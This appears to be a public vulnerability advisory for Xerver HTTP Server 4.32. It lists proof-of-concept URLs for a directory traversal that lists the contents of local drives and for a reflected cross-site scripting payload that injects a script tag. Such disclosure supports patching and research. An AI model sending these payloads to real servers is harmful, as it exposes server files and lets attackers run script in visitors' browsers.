Xerver HTTP Server 4.32 XSS / Directory Traversal Vulnerabilities (1331)

2009.10.06
Credit: Stack
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2009-3561 | CVE-2009-3562
CWE: CWE-22
CWE-79

Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability By Stack Directory Traversal Exploit : http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\ XSS Exploit : http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

References:

http://www.securityfocus.com/bid/36457
http://www.milw0rm.com/exploits/9718
http://secunia.com/advisories/36681


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top